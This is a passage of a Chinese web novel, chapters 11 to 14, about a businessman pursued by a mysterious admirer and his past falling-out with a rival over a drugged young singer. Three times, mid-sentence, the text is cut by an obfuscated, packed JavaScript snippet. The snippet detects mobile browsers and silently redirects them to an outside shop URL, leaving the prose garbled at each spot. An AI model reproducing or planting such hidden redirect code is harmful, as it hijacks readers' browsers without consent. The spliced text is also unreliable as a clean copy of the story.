“其他的不敢说,这方面,不是我托大,我确实有几分心得。”乔叶轩笑盈盈的凑上去,“这感情的事,说复杂复杂,说简单也简单。甭管对方是男是女,都是人,是人就有弱点。”
“别看我,褚哥。我说的弱点和你说的软肋不是一码事,你那是攻击,我这是利用。”乔叶轩继续掰扯,“他耳根子软,就多说好听的话。爱吃——送山珍海味,爱财——送金银珠宝,爱权——给他名利地位……”
褚骋戎不服气:“说半天,还是利诱。”
“利诱怎么了?”乔叶轩瞪眼,“欲先取之必先予之。谈恋爱不是上战场,你情我愿才能体会到其中的乐趣。搞强取豪夺那一套,得到人得不到心,又有什么意思?”
魏朝宗终于施舍似的投来了一瞥。
乔叶轩明白对方这是听进去了,正准备再接再厉。
褚骋戎截断了他的话:“可惜利诱这套不好使。朝宗拿周家当诱饵,人家都不上钩的。”
“那是利诱吗?”乔叶轩恨铁不成钢,“我有话直说了啊。当时那情景,我真没看出来是钓鱼,我还以为魏少你找乐子给人挖坑呢。”
大马金刀一坐,说话怪腔怪调,乔叶轩当场看出两人之间有不为人知的恩怨情仇。不过魏大少唯我独尊冷心冷面,很难想象他和人会有什么恩与情,既不是恩情,那就是仇怨。
如果知道魏大少的真实心理,他哪敢起哄,对着人一通嘲讽加贬低的输出。
11. 第 11 章
“那你说怎么办?”
魏少爷终于开了尊口,乔叶轩铭感五内,没白费他口水:“对付于海…”
死亡视线之下,乔叶轩紧急换口风:“像于总这种见多识广的成功人士,普通的小恩小惠显然打动不了他。必须得放长线钓大鱼,从生活、工作,方方面面无孔不入的去渗透,滴水穿石、聚沙成塔、温水煮青蛙、烈女怕缠郎,天长日久,等他习惯了多一个人的存在,你稍微离开一会儿他还不自在呢。”
魏朝宗若有所思。
乔叶轩长松一口气,幸好他追人的理论知识丰富,卖弄起来毫不费力。
放什么长线钓什么大鱼?有那功夫,他的鱼塘都来来回回换好几波了。
他有颜有钱,傻叉才吃爱情的苦,逢场作戏玩玩得了。
乔叶轩不屑于吃苦,倒挺爱看戏的,尤其戏的主角还是眼高于顶的太子爷。
见魏朝宗心情有所好转,他挺想趁机问问他家小弟的事。
看在他献计献策免费当军师的份上,有点小摩擦也该一笑泯恩仇了吧。
但男人的第六感告诉他不要轻举妄动,不然可能会适得其反。
牵扯他小弟,乔叶轩无论如何都要弄清楚发生了什么。
散场后,他第一件事就是把乔叶尧捉回家审讯。
乔叶尧支支吾吾半天没说明白,破罐子破摔抬着小脸:“我没错,魏朝宗是不是跟你告状了!太小心眼了吧!”
所以,他小弟和魏朝宗果真有冲突啊!
乔叶轩气得弹他个脑瓜嘣,过后打电话给乔叶尧的身边人,算是弄明白了事情的大致经过。
魏朝宗生气也在情理之中。
但是他怎么都觉得和魏朝宗的警告对不上。
不是他的东西不要碰、不要妄想。
小弟碰他什么东西让魏大少这么大发雷霆?
那辆破车?还是手机?
追根究底询问细节,也没其他东西了。
乔叶轩一头雾水。
不过受到褚骋戎的启发,趁此机会还是要敲打敲打小弟,免得日后真的犯下他摆不平的大错。
这次乔叶尧一反常态,他训一句,对方嗯嗯答应着。
乖巧的很。
“我知道了哥,以后三思后行、多动脑子。”乔叶轩迅速总结完,殷勤的倒了杯水递给乔叶轩,“说那么多话,哥肯定口渴了吧。”
乔叶轩的确说的口干舌燥,老怀安慰的暗想,他弟还是挺懂事的嘛。
乔叶尧小心翼翼凑过来,睁着一双圆眼睛,“哥,我能问你点事吗?”
“说。”鉴于乔叶尧受训态度良好,乔叶轩心情也好了许多。
“哥,你能把那谁的联系方式给我吗?”
乔叶轩慢悠悠喝口水:“谁啊?”
“就是下午跟你打电话的那个——于海啊。”
乔叶轩一口水喷出来。
艹!
艹!
电光火石之间,乔叶轩明白了一切。
他说魏少无缘无故发那么大火。
丫个兔崽子!他不是跟魏少抢东西,他是跟魏少抢男人啊!
“乔叶尧,我严肃警告你,他不是你能招惹的人。”
乔叶尧自小在父母兄姐的看顾下长大,看长辈眼色的技能早已炉火纯青,他哥变脸的一瞬间,他就自动转换成委屈的表情:“知道了知道了,你那么凶干嘛。”
乔叶尧:反正没有你,我也能打听到他的消息。
于海发现这段时间的生活真是“丰富多彩”,每天收获一个“小惊喜”。
上午,埋头处理公务的于海听到敲门声,随口说了声“进。”
门被推开,一大束比头还大的红艳艳玫瑰花闪瞎了他的眼。
“于总。”小助理隐藏在花束后面窃笑两声,探出头憋着笑说,“前台接到一捧花,指定送给您的。噢,对了,还有一盒巧克力。”
于海:……
“你确定是巧克力,不是定时炸弹?”
这年头商业竞争花样百出,为了恶心对手什么手段都使得出来。
于海深受其害不能不防。
有次和某家竞争项目,恰逢他生日,公司上下齐心协力誓要拿下项目当做生日礼物送给大老板,于海感动之余,也是志在必得。
通往开标地点的必经之路上,于海和项目组同事放松聊天,就看见三块巨大的显示屏上正播放着他的剪辑视频,大头照一帧接一帧,配乐甜美俏皮,收尾文字——我爱你,和我在一起吧!
虽然拿到了项目,但于海胜利的喜悦大打折扣。
除此之外,还有合作对象爬床的——能想象白天为了报价高低唇枪舌战,晚上对方从你被子里爬出来的惊悚吗。
洗完澡只围了条浴巾出来的于海第一反应就是搜索是否有监听设备,在对方冒头打
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022239|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
招呼的瞬间,扑上去把冒出的头塞回被子,压制住对方四肢,收缴可能隐藏的录音录像设备。
呵,想拿不雅照威胁他,没门儿。
至于在他公司对面挂“求爱”横幅,拉一后备箱玫瑰花堵在公司门口等等,不胜枚举,凡是竞争公司相关人员的所为一律被于海归类为恶意竞争。
不就是让他觉得丢脸不敢来上班吗。
不好意思,他人在公司,并且可以一直住在公司。
与之前层出不穷的手段相比,今天这大束鲜花那都不够看的。
小助理哭笑不得,她家老板在管理人事拉拢人心方面天赋异禀,公司的人个个被他收的心服口服的,私下他们还自我打趣说自己是“于公教”教徒。
但是老板在某些事情上的脑回路……不只是本就奇葩,还是老板故意为之。
凡是发出追求信号的人,在于总这里被打为两类:第一类有商务接触,无论敌友,大概率是试图从他们公司谋取利益的。第二类无利益纠纷,不排除间谍可能。
吓得他们本公司蠢蠢欲动的青年男女只得掐断自己萌动的春心,不然被当成间谍给解雇了,上哪找帅的人神共愤又对手下人出手大方的老板。
于海不管他们怎么想,他得到了想要的成果——一竿子打死所有“追求者”的做法,让他生活清净多了。
“老板,还有张卡片呢,你不瞧瞧吗?”
“你想看我不拦着。”
小助理抓心挠肺的想看,虽然十有八九是什么表白的爱语,但爱语的对象是于总,肉麻的事也会变得有趣。
在老板的允许之下,小助理连忙翻开,然后没忍住笑出了声,小助理表示她真的尽力憋笑了。
于海让她笑得也起了好奇心:“写的什么玩意。”
小助理噔噔噔小跑过来,两指夹着卡片往他面前一推。
上书五个大字——猜猜我是谁,右下角署名Y。
字丑得啊,说狗爬都是给他贴金!多看一眼都是对眼睛的伤害!
于海脑子里过了遍认识的人,十分确定以及肯定他的交际圈没这号人。
“花和巧克力你看着处理吧。”于海想了想,道,“卡收起来别丢。”
万一对方的身份真的是竞争对手,这辣眼睛的破卡就是对方的把柄。设身处地的想,谈判桌上突然丢下这么一“武器”,即使脸皮厚如城墙,心理防线也得被攻破一层吧。
12. 第 12 章
于海连续收了三天的玫瑰花。
第一天附加巧克力和贺卡——猜猜我是谁
第二天是小蛋糕和贺卡——巧克力好吃吗
第三天是精美点心和贺卡——蛋糕好吃吗
小助理快笑晕了:“这人一定是个甜品大师。”
送来的巧克力、小蛋糕和点心都没有牌子标识,小助理是甜品店的常客,但从未尝过类似的味道,所以她断定这些都是老板的爱慕者亲手制作的。
小助理暗戳戳的想:有个心灵手巧的老板娘也不错。
于海:“甜品大师写一□□爬字。”
木讷如蒋秘书,看到精致点心和的潦草字体的对比也是忍俊不禁。
“尺有所长寸有所短,有小缺点的人才可爱。”小助理拿人手短吃人嘴短,现在看卡片上的丑字已经自带滤镜,“老板,你不尝尝吗?真的特别好吃,蒋秘书可以作证。”
于海毫不犹豫的拒绝了,他对甜品毫无兴趣。
“蒋言都夸奖了,那一定不错。”刘江过来看到这一幕,忍不住笑,“新的追求者挺贤惠啊,还会做吃的呢,就是这字……”
“男的?女的?”刘江小眼睛闪烁着八卦的光。
换其他人,性别的问题可能多此一举,但放在他好兄弟身上就不一样了。
人要是好看到他兄弟的程度,别说世间的男男女女了,跨种族的都对他另眼相待。
且不提五年前那只阿拉斯加,刘江他妈养的猫天天对他使八百个心眼子,他从家打包垃圾扔掉都怀疑他偷家里东西,堵门口龇牙咧嘴防范着。结果,于海一去,什么张牙舞爪的气势那是一点影也看不见,窝于海怀里喵喵叫,甜的他头皮发麻。
刘江追问:“你什么时候招惹的桃花?”
“鬼才知道。”
“这位神秘的追求者是我认识的人吗?”
于海无奈:“我都不知道他是谁。”
不再跟他继续扯闲篇,走进办公室听蒋言汇报行程安排。
刘江跟进去,耐心等待汇报结束,提醒于海别忘了给王敬打电话。
接下来几天不忙,倒是可以会一会孙孝廷。
问题摆在那不会消失,总归要解决的。
资质的事可以搁置,但东区的项目每拖一天都是笔不小的损失。
说来这几个东区的项目,于海能拿到手,最初还是靠的孙震元介绍。
他和孙震元的关系很长一段时间内并不差,甚至可以说是和谐,工作上有过愉快的合作,私下里是能偶尔聚一起玩乐的朋友。
事情演变到后面却如同脱轨失控的列车,于海回忆过去仍不由得感慨世事无常。
他们是因为一个男人闹掰的,但于海很肯定孙震元以前喜欢的一直是女人。
他们初相交,孙震元带他进入他们的圈子,出入各种声色场所,点的伴儿全是成熟娇艳、身材火辣的女人。
于海推辞,孙震元还嘲讽他假清高、不懂享乐。
后来一个合作案,孙震元那方出了点问题,于海适当提了些建议,两人关系就此拉近。
圆满结束后,孙震元带他去庆功,叫来一堆男男女女,非要他点一个,不然就是不给他面子。
“你不要女人,是不是喜欢男的?放心,我尊重你性取向。无论男女,你今晚必须点一个。”
于海不是卫道士,标榜自己清心寡欲,他是真的没这心思。
“孙少,下午你说我们是朋友,我当真了啊。”
“你这话我怎么听着别扭,什么叫当真。”孙震元皱眉,“你还有阴奉阳违的预案?跟我玩当面一套背后一套?”
“别管别扭不别扭,既然是朋友,我就有话直说了。”于海问,“你知道现在几点吗?”
孙震元不解其意:“几点关我们什么事,只要我们在这,它就得开着。”
于海认真的注视着他的眼睛。
孙震元扫了眼手表,老老实实回答:“凌晨一点。”
“我几点下班的?”
孙震元亲自去接的人,他当然知道时间:“十一点半。”
“我几点上班?”
“九点?”
于海摇头。
“八点半?”
通常情况下,于海六点起床锻炼一小时,解决完早餐,开车到公司差不多八点。
“差不多吧。”于海懒得纠正了。
“知道你是个工作狂。”孙震元难得感到些许心虚,“我这不是让你在工作之余放松一下嘛。”
话音一转,语重心长道:“赚了钱不享乐,天天埋头苦干有什么意义。人生苦短,应该及时行乐。等你七老八十,有再多的钱,你也玩不动了。”
“玩可以,能不能换种方式。”于海无语了。
他每天要么出差、要么跑工地、要么批文件开会,从早到晚费心耗神,当然他是乐在其中。
但一天耗尽心神之后,别说和人上床翻云覆雨了,他只想大被独眠到天亮。
被窝是用来睡觉休息的,在里面研究身体的构造,对于海来说,那是二次工作,还是一份他不感兴趣的工作。
“我是工作狂,我又不是色情狂。咱们就不能玩点别的有意思的?”
“那你说什么有意思?”
于海想了想:“钓鱼。”
一边钓鱼一边休息亲近大自然,有收获还可以吃顿鱼宴。
“爬山、滑雪。”
玩乐放松的同时,让身体得到锻炼,为更好的投入工作打下坚实的基础。
“打牌、玩游戏。”
实在不行,打打牌浪费时间也行啊,他从前和工友们闲暇时间偶尔玩两把放松身心,小赌怡情。
孙震元陷入思索。
没想到孙震元真的把他的意见听进去了,之后叫他出去也不扎夜店了,时不时的约他到周边瞎逛悠。
“钓鱼太没劲了,我带你玩有意思的。”
隔壁市那座A省最高的山,他俩爬过的次数一只手数不过来。
溜冰、滑雪、跳伞等各种项目更是轮番上场。
于海想,孙大少挺听劝啊,这就“改邪归正”了。
没多久,他就后悔了,不知什么时候他发现孙震元看他的眼神变了。
于海对感情上的事一向不怎么关注,但不敏感不代表他是个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022240|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白痴。他大爷的孙震元以为他睡着了悄默声的偷亲他,他就是再迟钝也知道孙震元心思歪了啊。
不过孙震元没有当面捅破窗户纸,于海也没有主动提及,只是保持适当的距离,时间一久孙大少对他的兴趣淡了,这点暧昧心思自然也就会随之消失。
毕竟孙震元最开始带他最频繁出入的便是声色场所,后来两人出去玩,孙震元身边也从不缺少伴,有伴也是女伴。
偷亲的事发生之后,孙震元照旧美人相伴,一副花花公子的做派,搞得于海差点以为那晚是他做噩梦了。
于海没费脑细胞,粗略一想觉得自己明白了,孙震元当时对他生起的念头大概是酒意上头、一时新鲜。
后来……孙震元身边忽然一个人也没有了。
于海试探性的说了句:“这几次怎么不见你带人了,就咱俩多没意思。”
“哪没意思了。”孙震元得意的扬眉,“你有我陪着还不够啊?”
于海当时心里咯噔一下,琢磨着,坏了,孙大少不会是最近缺乏声色犬马的沐浴洗礼,欲望压制太多导致性取向都发生变化了吧。
为了“拯救”孙大少,于海主动提议,找家夜店。
孙震元坐在沙发上,手指随意的在PAD上划动。
屏幕上一溜的俊男美女。
点人和点餐一样。
于海对这与时俱进的花样无语了。
把人当作货品展示售卖,老板不是个好玩意,点人的孙震元不是好鸟,提议来夜店的他自己也挺不是个东西的。
孙震元爪子划拉半天,没定下来选哪个。
往日喜好的类型被他毫不留情的不带一丝留恋的划走,从女的那栏划拉到男的那栏,又从男的跳回女的。
不知道的以为他玩切水果游戏呢。
于海放空脑袋,耐心的陪着。
“于海。”
“嗯?”
孙震元爪子仍然划拉个不停,问出口的话却带着迟疑:“你,对同性恋什么看法?”
于海:啊?
他一性取向是同性的,他能有什么看法,恶心自个吗?
难道是一而再再而三的拒绝点人,致使对方怀疑他的性取向,这是在试探他?
回答“不能接受”?情绪上表演的抗拒一点,彻底绝了孙震元的心思。
于海倒不怕对方发现,毕竟那是将来的事,而将来——“朋友”有没有的做还两说。
于海不是技术型的,他要做生意要发展商务,社交圈广而杂,类似孙震元这种“互惠互利”的朋友——站在他的角度是“有利可图”的朋友,于海一分钟能划拉出一大波。
建立在利益之上的朋友关系是牢固的,只要“利益”存在,即使做出点出格的事,咬咬牙也能忍忍。不过一旦“利益”消失,合作变成竞争,所谓的“朋友”顷刻就会变成“敌人”。
这些年孙家的盛玺集团收购吞并了不少公司,打压同行的手段也施展过不少。未来某天两家走到敌对面并不是不可见。
于海这边思索着,孙震元那里表情已经坚定了:“我最近发现,我喜欢男人。”
于海:……
13. 第 13 章
于海脸上的错愕是真的错愕,不是演的
“你不会恶心我吧?”孙震元声音带着逼问和压迫,浓眉蹙起,一错不错的盯着他的眼睛。
于海:……
孙震元眼睛红的跟要杀人似的,手掌握成拳头砸在桌子上。
“嘭”的响动,于海都替桌子疼。
不是,不至于吧,他还什么都没说呢。
“行,我知道了。”孙震元喘着粗气沉闷的说了一句,然后甩手要走,起势的动作特别漫长,目光刀子似的在他脸上划拉。
于海不紧不慢的拉住他的胳膊,将人按在座位上:“我只是有点震惊,你得给我点时间消化消化吧。你不是一直喜欢女人吗?”
孙震元打量他的神色,见他确实不见厌恶的神色,才坐下来,方才的沉闷和压抑彷佛一阵风散去了:“喜欢女人不影响喜欢男人啊。研究表明,世界上百分之八十以上的都是双性恋,你觉得自己不是,那是你还没意识到而已。”
于海:哪来的研究啊?不会是网络小课堂吧。
“消化好了吗?”孙震元叹口气,特别无奈,“你说你一新时代年轻人,接受新事物的速度怎么那么慢呢。”
于海勉强的笑了笑:“我尊重个人的性取向,当然包括你的。不过你突然给我来这么一下,我一时转不过弯,毕竟我只有你这么一个爱好特殊的朋友,给我点时间。”
孙震元让他赌咒发誓绝不会因为他性取向特殊就疏远他。
于海再三保证之后,孙震元又恢复了往日人五人六的大爷模样,翘着二郎腿坐在沙发上得瑟的笑:“给你三天消化,三天后我带你见识点新鲜的。”
于海:并不想,谢谢。
然而就在那天晚上,一个人的出现打破了一切。
他们刚进夜店时,一楼大厅起了骚动,正上演着调戏小男生、英雄救美的戏码。
风暴中心的男生气质干净、脸蛋漂亮,惊惶的神色让他显得脆弱无助,也更加可怜可爱———据说是他们店里刚招的驻唱。
看着年龄不大,脸上带着未被社会毒打的青涩和稚气。
亲自陪同的老板察觉他们的目光,殷切的表示:新来的音乐学院才子、干净的雏儿,孙大少喜欢立刻叫他过来。
明目张胆的拉皮条,于海见的还是少,每次见到都会生理性不适,不由得皱了皱眉。
孙震元瞟了他一眼,转头对夜店老板说:“人家到你这唱歌的,又不是卖身的。小心一个违规查到头上,店开不下去。 ”
夜店的老板身份比不上孙震元,但和对方有几分交情,闻言不恼也未害怕,从善如流的接纳了这份“善意”提醒:“那是,刚才是我嘴欠开玩笑呢。”
说着,还叫来保安把闹事的人赶了出去。
未曾想的是,凌晨时分,他们从夜店出来,再次碰见了那个驻唱。
男生跌跌撞撞的跑过来,昏倒在他们面前,脸色浮现不正常的红晕。
孙震元笑着把人推给他,我喜欢男人,这么一个小美人,为了他的清白着想,人就交给你了。
夜色已深,昏迷不醒的人丢在混乱的声色场所确实危险。
于海将人带走了。
隔天孙震元一早打电话问情况:“小美人的滋味如何?在酒店还是把人带回家了?”
彼时于海已经坐在办公椅上处理文件,闻言反应了一下,回道:“你说的是昨天那个男生?”
“少跟我装傻。”
“送医院了,顺便报了警。”
对面沉默了许久,话筒里蹦出一个复杂之极的“草”字。
“你脑子进水了吧?”
“孙大少,且不论他和我性取向相悖。”不讨论,但还是要跟孙震元强调一下,于海继续道,“这是法治社会,我是个良民。”
“你行!于海,我服了你!你是道德卫士、你是正人君子,我小人一个。”
孙震元啪地挂掉电话。
于海也不在意,以为这事翻篇了。
谁料休息日的上午,他穿着睡衣从二楼下来准备找点吃的,就见大厅进来俩人——那个被下药的男生提着菜篮子和礼品盒,和他妈说说笑笑的进门,看见他时瞬间呆愣,目光迟钝的从他的脸飘到脚,又从脚游移到脸。
于海差点以为大白天见鬼了。
江雪梅嗔怪的看了他一眼:“快回房间换好衣服,今天有客人来了。”
于海回屋换了身休闲的米色套装下楼,整个人还是懵的。
这人怎么突然冒出来了,还跟他妈一副很熟的样子。
难道是来搞传销骗老人的?
后来经他妈介绍才知道,原来这人叫宁望,曾是他妈初中任职学校的学生,现在大学三年级在读。
噢,那就合理了。
合理个鬼啊。
他妈确实在某个初级中学工作过,但他妈是在食堂给学生打饭。
宁望在读大三,初中时候……
那也就是至少六年以前的事情,你会记住一位多年前的学校食堂打饭阿姨吗?
“那天的事多谢你,如果不是你在,我恐怕……”宁望眼神闪过慌乱,攥紧手强迫自己镇定下来,“这次我来,为了拜访江阿姨,也是想当面谢谢你。”
原来进门之前就知道这是他家,比记得食堂打饭阿姨更奇葩的来了,这小子居然还记得打饭阿姨的儿子。
“举手之劳。冒昧问一句,你认识我?我不记得见过你。”
宁望脸迅速染红:“九年前,我上初一,那时候你偶尔会去接江阿姨下班,我见过你几次,和你说过话。”
九年前,比他预想的更久。
但于海记性挺不错的,尤其是见过的人或多或少都会有点印象,而眼前这个叫宁望的,他真是一点印象都没有。
“你和从前一样,那晚我见你第一面就认出你了。”宁望的脸更红,“我那时候个子矮,长得也不好看……”
有些人少年到青年的变化的确是脱胎换骨的。
江雪梅语气中带着怜惜和安抚:“小宁,你一直都是个非常优秀的孩子。”
稍后,两人一起去了厨房做午饭。
等人吃完饭走后,于海忍不住问:“妈,你确定那人不是搞传销的?”
“你妈像是轻易被忽悠的人吗?”
于海心道:那可说不准。
“这孩子我记得,他一说名字我就想起来了。对了,我还有张他给的照片。”江雪梅拿出一套老旧的相册,翻到一张初中三年级三班的毕业大合照。
于海凑过去看,照片上的人都不熟悉,不是他的毕业照。
江雪梅指尖在合照的人脸上滑动,停留在第二排右三的位置上,感慨的说:“宁望家庭环境不好但善良热情,是个可怜孩子,是个好孩子。”
于海顺着他妈手指的方向一看,一个圆滚滚的土豆映入眼帘。
小胖子圆脸上的肥肉挤压得眼睛缝都要找不见了,和现在的宁望判若两人。
回忆蹿进脑海,于海想起了照片中的人。
宁望说的不假,他的确和这个形象的宁望见过面,至于说话,那时候他刚经历了一些不好的事情,性格比较冷淡,最多也就和人打个招呼。
不过于海记得他妈对这小孩确实挺照顾的,去接他妈回家的时候,经常能看到这个小胖子和他妈聊天。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022241|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“这不像缺吃少穿的啊?”
“他爸爸只会给生活费,其他一概不管。他的继母更是把他当做隐形人。”姜雪梅食指用力点了下他的额头,“少了陪伴和爱,光有钱有什么用?”
于海迅速滑跪:“妈,我错了,您说的对。”
江雪梅继续回忆:“他那时候的饭量大,害怕别人嘲笑,每次都是等别的孩子吃完再过来。要是哪天来得不凑巧,食堂提前收拾了,他只能吃零食垫肚子。后来我记住了他,就每天给他留着饭菜。那三年,他陪我吃饭的次数比你都多。”
于海算是知道,他妈为什么对人家的家庭情况都了如指掌了。
不过,还是有奇怪的地方。
“宁望初中毕业后联系过你吗?”
“找过我一次,说要跟着父母去外地了,留下了这张照片当作纪念。”
从那以后,宁望便成了他家的常客,每个周末都会过来陪他妈聊天逛街,周末下厨做饭的不知何时变成了宁望。
家里像是多了一位成员。
宁望说他很小就失去了母亲,江阿姨让他感觉到梦寐以求的家庭温暖,他明年就要出国留学了,想要在国内最后的这段时光留下幸福的记忆。
合情合理。
况且,看到老妈有人陪伴开怀的模样,于海也说不出什么,看着两人谈笑,觉得家里热闹点也挺好。
于海还没说话,孙震元率先发出了诘问。
某个周末,孙震元打电话约他出去玩,这边宁望叫他吃饭。
“于哥……”孙震元重复了一遍宁望的招呼,语调怪异,“谁在你家?哪儿冒出来个好弟弟,一块带出来玩。”
孙震元是个疑心病重的人,遮遮掩掩反而让他多想,于海语气随意,“你见过的,酒吧昏倒的那个男生。”
“哦,是他啊。”孙震元意味不明的说。
之后三周,宁望再没来过。
三周后,孙震元让他到指定的地方去一趟。
曾经干净漂亮的青年衣衫凌乱满目仓惶,颓然跪在了靡丽昏暗的酒色灯影里。
孙震元手掌拍着宁望的脸,目光死死的锁定在他身上,玩世不恭的笑道:“我挺喜欢他的,玩他一段时间,你不介意吧。”
于海忍着怒火,尽量让自己看起来心平气和:“孙少别开玩笑了,他是我的朋友。”
于海上前搀扶宁望,感受到他恐惧的颤抖,强压下的怒火瞬间燎原,灼烧眼球赤红一片。
一个身影猛地扑过来压在他身上,孙震元发狠的扯住他的头发,嗤笑:“朋友?我看是情人。不是喜欢只女人吗?不是不在乎吗?我把他玩坏了玩烂了,你也不会在乎的对吧?”
“孙震元!你他妈有病!”侮辱性的话彻底扯断了于海绷紧的弦,拳头裹挟着熊熊怒火砸到孙震元脸上。
“草!你他妈的为了一个贱人打我!”
孙震元不可置信的看着他,额头爆出青筋,面孔扭曲的大吼。
两人扭打在一起。
孙震元五大四粗一身腱子肉,一拳的威力不容小觑,于海也不是吃素的,工地搬砖锻炼出来的力气还在。
两人拳脚相向,双双打进医院。
为了避免孙震元报复,于海和宁望商量之后,提前安排他出国。
宁望走前,紧紧的抱住他:“孙震元做的恶事我会记一辈子。于哥,你会原谅他吗?”
发生在他眼前的事情,于海不能当做无事发生。
“对不起。”于海对他抱有深深的歉疚,宁望是他和孙震元纠葛之下的无辜受害者,“没有任何人有资格替你原谅他。”
宁望离开了,他和孙震元就此翻脸。
14. 第 14 章
于海拨通了电话。
王敬王助理没有多说废话,以太监大总管般的口吻说,于先生您很幸运,二少愿意见你一面,具体时间您等通知吧,记得二十四小时保持开机状态。
二十四小时开机,已经成为于海的习惯,生意场上的突发事件多不胜数,作为决策者他不能有一刻松懈。
不过,王敬的这个居高临下的态度着实令人无语,于海也能从中看出几分孙孝廷的为人,和孙震元如出一辙的倨傲,不愧是亲兄弟。
等待孙孝廷“传召”的时间,来了位不速之客。
于海谈完项目回公司,刚出电梯门,小助理迎面走来,语气难掩雀跃的说:“于总,刘总带了个客户过来,正在办公室等您。”
因为项目谈的顺利,于海心情不错,玩笑道:“有客户这么开心,不怕加班了?”
小助理星星眼:这位不一样,他帅啊!虽然和老板比还有一丢丢差距,那也是帅的惊天动地了。
表面义正辞严:“公司是我家,公司好就是我好,愿为公司奉献终身!”
于海煞有介事的表扬:“思想觉悟很高,我请大家吃下午茶,你看着安排,回来找我报销。”
“是!”小助理欢呼,“老板最好了!”
于海笑着推开门,脚步顿住了。
屋里俩人,一坐一站。
腰酸背痛腿抽筋一身毛病、天天捧着保温养生壶的刘大爷--刘江正忙前忙后的给人端茶递水,和人说话时弯腰站在不远不近的社交距离,做出一副洗耳恭听的架势,笑得满脸褶子。
活脱脱一狗腿子啊。
而另一个,那是真正的大爷,四平八稳的坐在他办公椅的对面,双手交叉眼睛微垂,脸上一丝表情也没有。
于海预料到魏朝宗不会善罢甘休,没想到这人下午就找上了门,还在他这儿摆起了谱。
刘江看他仿佛看见救星,努力堆聚的褶子脸瞬间松弛变苦瓜。
三十年河东,三十年河西。
谁能想到五年前他居然敢指着魏朝宗的鼻子破口大骂,虽然中间隔着于海这个安全的防护结界,但他敢想敢做啊,最惨不过被这小子蒙头揍一顿。
现在别说骂了,他都不敢大声说话。没办法,不是以前一人吃饱全家不饿的泥腿子了,一不小心连累了公司他是万死难赎其罪啊。
魏朝宗轻飘飘的几个问题,把他问出来一身接一身冷汗。
“于海身边有人吗?”
“没有!绝对没有!”
“追他的人很多?”
“没有!绝对没有!”
“玫瑰花谁送的?”
刘江:……
我说别人送我的,你信吗?
刘江眼睁睁的看着魏朝宗原本面无表情的脸覆上一层寒霜,欲哭无泪。
就在这时,于海推门进来了。
刘江蹭蹭发射求救信号。
于海摆摆手。
刘江迅速撤离,关门前瞥见方才冷冰冰的脸仿佛冰雪消融,扬起唇角说:“你回来了。”
刘江:五年后的魏朝宗更可怕了…丫学会川剧变脸了。刚才还因为有人送于海玫瑰花秒变阎王,下一秒又换成笑脸了。
可怕啊可怕。
于海慢悠悠走至办公桌前,不慌不忙的坐下:“什么事劳动魏少大驾莅临我这小破地方?”
“你……”阴阳怪气的语调轻易挑起魏朝宗心中的怒火,他抿紧唇角,平复起伏的心情,“你一直让我好好和你讲话,你就不能正常的和我说话吗?”
居然没发火?
于海惊奇的看了他一眼。
半天没见,上哪儿修炼去了?大少爷还会克制自己脾气了。
魏朝宗:“你对刘江也这么阴阳怪气的?”
于海:能一样吗?我跟你又不熟,不熟且有旧怨。再说,这几次见面丫都一副挑衅的欠抽模样,他给甲方当孙子就算了,还要热脸贴丫冷屁股,闲得慌上赶着受虐吗?
实话实说,魏朝宗肯定气的跳脚。
于海在公司还是比较注重自我形象的,为了避免成为业余闲聊的八卦中心,他心平气和的问:“请问,您有何贵干?”
魏朝宗心里仍不舒服他生疏的语气,勉勉强强让自己接受,默念:不急,来日方长、来日方长。
“下周五周家举办宴会,孙伯辉会来。”
于海了然,魏朝宗调查了他。
“你知道多少?”
“孙震元痴心妄想。”魏朝宗眼中一闪而过的狠戾,“孙伯辉管不了自己儿子,拿你开刀。”
于海已经明白魏朝宗过来的目的。
能见到孙伯辉当然好,面对面的接触,于海能更清楚的了解敌人底细。
他挑了挑眉:“可惜,周家门槛太高,不是我这种小人物能够涉足的。”
“我说可以便可以。”魏朝宗盯着他,“你和我一起。”
于海笑了:“一个孙家已经让我焦头烂额了,再来一个周家?孙伯辉我还能勉强对付,周维弄死我像摁死一只蚂蚁一样简单。魏少,我喜欢的事情还没有做完,我还想活得久点呢。”
“我不是孙震元那个废物。”魏朝宗一句话掷地有声,然后低声喃喃,“我也不是五年前的我。”
“五年前……”
魏朝宗忽略心脏处传来的抽痛,打断他:“不要再说了。”
于海:……
不是你先提的吗?再说不提能行吗?症结就在五年前。
“五年前带你走的是周维?”于海敲敲桌子,“说话。”
当年和于海面谈的是一位擅长谈判的精明年轻人,但他知道不远处有双眼睛注视着一切,一双大手掌控着全局。
魏朝宗表情阴翳,咬牙道:“是,那又怎么样?”
那又怎么样?
